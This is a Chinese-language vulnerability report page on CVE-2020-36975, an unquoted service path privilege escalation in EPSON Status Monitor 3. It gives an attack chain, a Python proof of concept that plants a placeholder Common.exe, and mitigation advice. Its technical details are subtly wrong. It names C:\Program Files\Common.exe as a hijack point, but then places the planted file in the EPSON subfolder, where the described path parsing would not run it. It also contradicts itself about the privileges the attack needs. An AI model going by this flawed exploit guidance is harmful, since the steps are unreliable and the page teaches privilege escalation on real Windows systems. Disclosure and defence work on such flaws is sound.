IPBUF安全漏洞报告
English
CVE-2020-36975 CVSS 7.8 高危

CVE-2020-36975: EPSON Status Monitor 3 未引号服务路径权限提升漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36975
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EPSON Status Monitor 3 version 8.0

相关标签

未引号服务路径本地权限提升EPSON打印机软件Windows服务CVE-2020-36975高危漏洞路径遍历权限提升

漏洞概述

CVE-2020-36975是EPSON Status Monitor 3版本8.0中存在的一个高危本地权限提升漏洞。该漏洞源于Windows服务路径未使用引号包裹,导致路径解析存在歧义。攻击者可以通过在服务路径的中间位置植入恶意可执行文件,利用Windows服务启动时的路径解析机制,使系统错误执行恶意程序,从而实现从低权限用户到系统管理员权限的提升。此漏洞CVSS评分7.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。攻击者无需特殊权限即可实施攻击,但需要本地访问目标系统。由于该漏洞影响广泛使用的EPSON打印机状态监控软件,建议用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Windows服务配置中使用了未加引号的可执行文件路径。当系统启动服务时,会按照路径中的空格进行分段解析。对于路径'C:\Program Files\Common Files\EPSON\EPW!3SSRP\E_S60RPB.EXE',Windows会依次尝试执行:C:\Program.exe、C:\Program Files\Common.exe、C:\Program Files\Common Files\EPSON\EPW!3SSRP\E_S60RPB.EXE等。攻击者可以在'C:\Program Files\Common Files\EPSON\'目录下放置名为'Common.exe'的恶意程序,由于该路径在服务启动路径之前,系统会优先执行攻击者植入的恶意程序。攻击者利用此机制可以获取与服务账户相同的权限级别(通常为SYSTEM),从而完全控制目标系统。成功利用此漏洞需要攻击者具有在目标系统目录中创建文件的权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过本地访问或社会工程获取目标系统的访问权限,并识别系统中安装的EPSON Status Monitor 3服务及其配置信息。
STEP 2
步骤2: 漏洞识别
攻击者检查Windows服务的可执行文件路径配置,发现EPSON Status Monitor 3服务使用未加引号的路径'C:\Program Files\Common Files\EPSON\EPW!3SSRP\E_S60RPB.EXE'。
STEP 3
步骤3: 权限检查
攻击者验证是否具有在目标目录'C:\Program Files\Common Files\EPSON\'下创建文件的权限,通常需要低权限用户即可。
STEP 4
步骤4: 恶意程序部署
攻击者在未加引号路径的中间位置创建恶意可执行文件'Common.exe',该文件伪装成合法路径的一部分。
STEP 5
步骤5: 服务触发
当服务重启或系统启动时,Windows按照空格分割路径查找可执行文件,首先找到攻击者植入的'Common.exe'并执行。
STEP 6
步骤6: 权限提升
恶意程序以SYSTEM权限(服务账户默认权限)执行,攻击者成功实现本地权限提升,可完全控制目标系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36975 PoC - EPSON Status Monitor 3 Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in EPSON Status Monitor 3. Note: This is for educational and authorized testing purposes only. """ import os import sys import subprocess import ctypes def check_vulnerability(): """Check if the vulnerable service exists on the system.""" vulnerable_path = r'C:\Program Files\Common Files\EPSON\EPW!3SSRP\E_S60RPB.EXE' # Check if the service exists try: result = subprocess.run( ['sc', 'query', 'EpsonRPCService'], capture_output=True, text=True ) if 'FAILED' in result.stdout or 'FAILED' in result.stderr: print("[-] Target service not found on this system.") return False except Exception as e: print(f"[-] Error checking service: {e}") return False # Check if the vulnerable path exists if os.path.exists(os.path.dirname(vulnerable_path)): print(f"[+] Vulnerable service path directory exists: {os.path.dirname(vulnerable_path)}") return True return False def create_artifact_payload(payload_path): """ Create a malicious executable at the unquoted path location. In a real attack, this would be a reverse shell or other malicious code. """ # The unquoted path allows execution of 'Common.exe' before 'E_S60RPB.EXE' malicious_path = r'C:\Program Files\Common Files\EPSON\Common.exe' try: # Create a benign file for demonstration (in real attack, this would be malicious) with open(malicious_path, 'w') as f: f.write("This would be malicious code in a real attack scenario.") print(f"[+] Payload artifact created at: {malicious_path}") print("[+] When the service restarts, it may execute this file instead of the legitimate binary.") return True except PermissionError: print("[-] Insufficient privileges to create file at the vulnerable path.") print("[-] This attack requires administrative privileges or specific file system permissions.") return False except Exception as e: print(f"[-] Error creating payload: {e}") return False def main(): print("=" * 60) print("CVE-2020-36975 PoC - EPSON Status Monitor 3 Unquoted Service Path") print("=" * 60) if not ctypes.windll.shell32.IsUserAnAdmin(): print("[-] Warning: This PoC should be run with administrator privileges.") if check_vulnerability(): print("[+] System appears to be vulnerable to CVE-2020-36975") create_artifact_payload(None) else: print("[-] System does not appear to be vulnerable or target service not found.") if __name__ == '__main__': main()

影响范围

EPSON Status Monitor 3 < 8.0
EPSON Status Monitor 3 = 8.0

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:首先,检查并重新配置EPSON Status Monitor 3服务的BINPATH属性,确保使用完整引号路径;其次,限制用户对'C:\Program Files\Common Files\EPSON\'目录的写入权限,防止低权限用户创建恶意文件;最后,考虑禁用或停止EPSON Status Monitor 3服务,直到官方补丁可用。同时,建议部署端点检测和响应(EDR)解决方案,监控异常的程序执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表